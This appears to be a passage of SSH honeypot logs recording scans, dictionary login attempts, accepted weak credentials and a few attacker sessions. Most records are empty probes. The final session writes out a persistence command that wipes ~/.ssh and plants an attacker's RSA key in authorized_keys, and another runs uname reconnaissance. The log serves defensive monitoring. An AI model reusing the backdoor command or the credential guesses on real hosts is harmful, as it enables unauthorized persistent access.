  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.47.67.94

2026-09-23 19:35:03.571150 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 96d29bf54449

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "96d29bf54449",
  "src_ip": "2.47.67.94",
  "start_time": "2026-09-23T19:35:03.571150Z",
  "end_time": "2026-09-23T19:35:03.572387Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

201.176.241.173

2026-09-23 19:23:50.796566 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 39dd74b0fba9

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "39dd74b0fba9",
  "src_ip": "201.176.241.173",
  "start_time": "2026-09-23T19:23:50.796566Z",
  "end_time": "2026-09-23T19:23:50.799958Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

201.176.241.173

2026-09-23 19:23:33.408395 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 42e9ad682055

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "42e9ad682055",
  "src_ip": "201.176.241.173",
  "start_time": "2026-09-23T19:23:33.408395Z",
  "end_time": "2026-09-23T19:23:33.411975Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

93.123.109.6

2026-09-23 19:12:16.785695 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 41ea7ec6c7f5

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "41ea7ec6c7f5",
  "src_ip": "93.123.109.6",
  "start_time": "2026-09-23T19:12:16.785695Z",
  "end_time": "2026-09-23T19:12:16.936236Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.46.255.86

2026-09-23 19:10:54.800031 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / qweasdzxc123

Record ID: 4eb703a39abc

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "4eb703a39abc",
  "src_ip": "193.46.255.86",
  "start_time": "2026-09-23T19:10:54.800031Z",
  "end_time": "2026-09-23T19:11:00.807671Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qweasdzxc123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.25

2026-09-23 19:07:50.915915 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 02081992

Record ID: dcbcbb91c415

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "dcbcbb91c415",
  "src_ip": "2.57.121.25",
  "start_time": "2026-09-23T19:07:50.915915Z",
  "end_time": "2026-09-23T19:07:56.927883Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "02081992"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

20.106.39.215

2026-09-23 18:58:58.307033 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4f2d0d7d4290

Client Version: MGLNDD_184.98.6.225_22

Engagement Duration: 0.0s

{
  "id": "4f2d0d7d4290",
  "src_ip": "20.106.39.215",
  "start_time": "2026-09-23T18:58:58.307033Z",
  "end_time": "2026-09-23T18:58:58.312672Z",
  "duration": "0.0",
  "version": "MGLNDD_184.98.6.225_22",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

20.106.39.215

2026-09-23 18:58:58.129450 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 629dc6e8fdd1

Client Version: SSH-2.0-Go

Engagement Duration: 0.1s

HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd

{
  "id": "629dc6e8fdd1",
  "src_ip": "20.106.39.215",
  "start_time": "2026-09-23T18:58:58.129450Z",
  "end_time": "2026-09-23T18:58:58.248865Z",
  "duration": "0.1",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

192.168.0.1

2026-09-23 18:58:46.545056 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ced354efb09e

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "ced354efb09e",
  "src_ip": "192.168.0.1",
  "start_time": "2026-09-23T18:58:46.545056Z",
  "end_time": "2026-09-23T18:58:46.556764Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.200.151.131

2026-09-23 18:55:28.962431 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 85da0163e6be

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "85da0163e6be",
  "src_ip": "193.200.151.131",
  "start_time": "2026-09-23T18:55:28.962431Z",
  "end_time": "2026-09-23T18:55:28.965809Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.200.151.131

2026-09-23 18:55:13.334800 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 98c372235889

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "98c372235889",
  "src_ip": "193.200.151.131",
  "start_time": "2026-09-23T18:55:13.334800Z",
  "end_time": "2026-09-23T18:55:13.338204Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

119.194.211.201

2026-09-23 18:46:28.762962 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Ianboen@1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a 2>/dev/null

Record ID: 17b23c51f7a3

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "17b23c51f7a3",
  "src_ip": "119.194.211.201",
  "start_time": "2026-09-23T18:46:28.762962Z",
  "end_time": "2026-09-23T18:46:29.909347Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Ianboen@1"
  },
  "commands": [
    "uname -a 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.57.121.112

2026-09-23 18:41:40.683341 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: brookelynn

Record ID: d8ed24fe01a0

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "d8ed24fe01a0",
  "src_ip": "2.57.121.112",
  "start_time": "2026-09-23T18:41:40.683341Z",
  "end_time": "2026-09-23T18:41:47.207629Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "brookelynn",
      "pass": "brookelynn"
    },
    {
      "user": "brookelynn",
      "pass": "brookelynn1"
    },
    {
      "user": "brookelynn",
      "pass": "brookelynn123"
    },
    {
      "user": "brookelynn",
      "pass": "brookelynn1234"
    },
    {
      "user": "brookelynn",
      "pass": "brookelynn12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

181.32.146.153

2026-09-23 18:37:23.315001 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0409606c64a6

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "0409606c64a6",
  "src_ip": "181.32.146.153",
  "start_time": "2026-09-23T18:37:23.315001Z",
  "end_time": "2026-09-23T18:37:23.318469Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

5.226.140.95

2026-09-23 18:21:28.403343 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e8d2f7fa58cc

Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8

Engagement Duration: 0.4s

HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5

{
  "id": "e8d2f7fa58cc",
  "src_ip": "5.226.140.95",
  "start_time": "2026-09-23T18:21:28.403343Z",
  "end_time": "2026-09-23T18:21:28.813911Z",
  "duration": "0.4",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-09-23 18:15:24.819889 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: a76d545876bf

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "a76d545876bf",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-23T18:15:24.819889Z",
  "end_time": "2026-09-23T18:15:26.042809Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

139.19.117.130

2026-09-23 18:15:03.744741 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root

Record ID: f9ee111577da

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "f9ee111577da",
  "src_ip": "139.19.117.130",
  "start_time": "2026-09-23T18:15:03.744741Z",
  "end_time": "2026-09-23T18:15:13.745228Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "root",
      "pass": null
    },
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.189.168.50

2026-09-23 18:11:52.673815 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 9bb399fb2657

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9bb399fb2657",
  "src_ip": "45.189.168.50",
  "start_time": "2026-09-23T18:11:52.673815Z",
  "end_time": "2026-09-23T18:11:54.136948Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.189.168.50

2026-09-23 18:11:50.076967 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 2120174b57d0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2120174b57d0",
  "src_ip": "45.189.168.50",
  "start_time": "2026-09-23T18:11:50.076967Z",
  "end_time": "2026-09-23T18:11:52.463109Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.189.168.50

2026-09-23 18:11:47.240805 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / abc123456@

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6f2a83d99af1

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6f2a83d99af1",
  "src_ip": "45.189.168.50",
  "start_time": "2026-09-23T18:11:47.240805Z",
  "end_time": "2026-09-23T18:11:54.132912Z",
  "duration": "6.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "abc123456@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}